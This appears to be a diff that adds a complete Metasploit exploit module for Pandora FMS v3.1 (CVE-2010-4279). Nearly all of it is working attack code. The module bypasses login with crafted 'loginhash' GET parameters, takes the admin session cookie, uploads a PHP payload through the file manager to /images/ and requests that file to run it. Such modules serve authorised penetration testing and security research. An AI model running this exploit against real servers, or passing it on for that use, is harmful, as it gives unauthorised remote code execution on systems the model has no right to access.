|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => "Pandora v3.1 Auth Bypass and Arbitrary File Upload Vulnerability", |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an authentication bypass vulnerability in Pandora v3.1 as |
| 19 | + disclosed by Juan Galiana Lara. It also integrates with the built-in pandora |
| 20 | + upload which allows a user to upload arbitrary files to the '/images/' directory. |
| 21 | +
|
| 22 | + This module was created as an exercise in the Metasploit Mastery Class at Blackhat |
| 23 | + that was facilitated by egypt and mubix. |
| 24 | +
|
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Juan Galiana Lara', # Vulnerability discovery |
| 30 | + 'Raymond Nunez <rcnunez[at]upd.edu.ph>', # Metasploit module |
| 31 | + 'Elizabeth Loyola <ecloyola[at]upd.edu.ph>', # Metasploit module |
| 32 | + 'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>', # Metasploit module |
| 33 | + '_flood <freshbones[at]gmail.com>', # Metasploit module |
| 34 | + 'mubix <mubix[at]room362.com>', # Auth bypass and file upload |
| 35 | + 'egypt <egypt[at]metasploit.com>', # Auth bypass and file upload |
| 36 | + ], |
| 37 | + 'References' => |
| 38 | + [ |
| 39 | + ['CVE', '2010-4279'], |
| 40 | + ['OSVDB', '69549'], |
| 41 | + ['BID', '45112'] |
| 42 | + ], |
| 43 | + 'Platform' => 'php', |
| 44 | + 'Arch' => ARCH_PHP, |
| 45 | + 'Targets' => |
| 46 | + [ |
| 47 | + ['Automatic Targeting', { 'auto' => true }] |
| 48 | + ], |
| 49 | + 'Privileged' => false, |
| 50 | + 'DisclosureDate' => "Nov 30 2010", |
| 51 | + 'DefaultTarget' => 0)) |
| 52 | + |
| 53 | + register_options( |
| 54 | + [ |
| 55 | + OptString.new('TARGETURI', [true, 'The path to the web application', '/pandora_console/']), |
| 56 | + ], self.class) |
| 57 | + end |
| 58 | + |
| 59 | + def check |
| 60 | + |
| 61 | + base = target_uri.path |
| 62 | + |
| 63 | + # retrieve software version from login page |
| 64 | + begin |
| 65 | + res = send_request_cgi({ |
| 66 | + 'method' => 'GET', |
| 67 | + 'uri' => normalize_uri(base, 'index.php') |
| 68 | + }) |
| 69 | + if res and res.code == 200 |
| 70 | + #Tested on v3.1 Build PC100609 and PC100608 |
| 71 | + if res.body.include?("v3.1 Build PC10060") |
| 72 | + return Exploit::CheckCode::Appears |
| 73 | + elsif res.body.include?("Pandora") |
| 74 | + return Exploit::CheckCode::Detected |
| 75 | + end |
| 76 | + end |
| 77 | + return Exploit::CheckCode::Safe |
| 78 | + rescue ::Rex::ConnectionError |
| 79 | + print_error("#{peer} - Connection failed") |
| 80 | + end |
| 81 | + return Exploit::CheckCode::Unknown |
| 82 | + |
| 83 | + end |
| 84 | + |
| 85 | + # upload a payload using the pandora built-in file upload |
| 86 | + def upload(base, file, cookies) |
| 87 | + data = Rex::MIME::Message.new |
| 88 | + data.add_part(file, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{@fname}\"") |
| 89 | + data.add_part("Go", nil, nil, 'form-data; name="go"') |
| 90 | + data.add_part("images", nil, nil, 'form-data; name="directory"') |
| 91 | + data.add_part("1", nil, nil, 'form-data; name="upload_file"') |
| 92 | + data_post = data.to_s |
| 93 | + data_post = data_post.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') |
| 94 | + |
| 95 | + res = send_request_cgi({ |
| 96 | + 'method' => 'POST', |
| 97 | + 'uri' => normalize_uri(base, 'index.php'), |
| 98 | + 'cookie' => cookies, |
| 99 | + 'ctype' => "multipart/form-data; boundary=#{data.bound}", |
| 100 | + 'vars_get' => { |
| 101 | + 'sec' => 'gsetup', |
| 102 | + 'sec2' => 'godmode/setup/file_manager', |
| 103 | + }, |
| 104 | + 'data' => data_post |
| 105 | + }) |
| 106 | + |
| 107 | + register_files_for_cleanup(@fname) |
| 108 | + return res |
| 109 | + end |
| 110 | + |
| 111 | + def exploit |
| 112 | + |
| 113 | + base = target_uri.path |
| 114 | + @fname = "#{rand_text_numeric(7)}.php" |
| 115 | + cookies = "" |
| 116 | + |
| 117 | + # bypass authentication and get session cookie |
| 118 | + res = send_request_cgi({ |
| 119 | + 'method' => 'GET', |
| 120 | + 'uri' => normalize_uri(base, 'index.php'), |
| 121 | + 'vars_get' => { |
| 122 | + 'loginhash_data' => '21232f297a57a5a743894a0e4a801fc3', |
| 123 | + 'loginhash_user' => 'admin', |
| 124 | + 'loginhash' => '1', |
| 125 | + }, |
| 126 | + }) |
| 127 | + |
| 128 | + # fix if logic |
| 129 | + if res and res.code == 200 |
| 130 | + if res.body.include?("Logout") |
| 131 | + cookies = res.get_cookies |
| 132 | + print_status("Login Bypass Successful") |
| 133 | + print_status("cookie monster = " + cookies) |
| 134 | + else |
| 135 | + fail_with(Exploit::Failure::NotVulnerable, "Login Bypass Failed") |
| 136 | + end |
| 137 | + end |
| 138 | + |
| 139 | + # upload PHP payload to images/[fname] |
| 140 | + print_status("#{peer} - Uploading PHP payload (#{payload.encoded.length} bytes)") |
| 141 | + php = %Q|<?php #{payload.encoded} ?>| |
| 142 | + begin |
| 143 | + res = upload(base, php, cookies) |
| 144 | + rescue ::Rex::ConnectionError |
| 145 | + fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed") |
| 146 | + end |
| 147 | + |
| 148 | + if res and res.code == 200 |
| 149 | + print_good("#{peer} - File uploaded successfully") |
| 150 | + else |
| 151 | + fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Uploading PHP payload failed") |
| 152 | + end |
| 153 | + |
| 154 | + # retrieve and execute PHP payload |
| 155 | + print_status("#{peer} - Executing payload (images/#{@fname})") |
| 156 | + begin |
| 157 | + res = send_request_cgi({ |
| 158 | + 'method' => 'GET', |
| 159 | + 'uri' => normalize_uri(base, 'images', "#{@fname}") |
| 160 | + }, 1) |
| 161 | + rescue ::Rex::ConnectionError |
| 162 | + fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed") |
| 163 | + end |
| 164 | + |
| 165 | + end |
| 166 | +end |
0 commit comments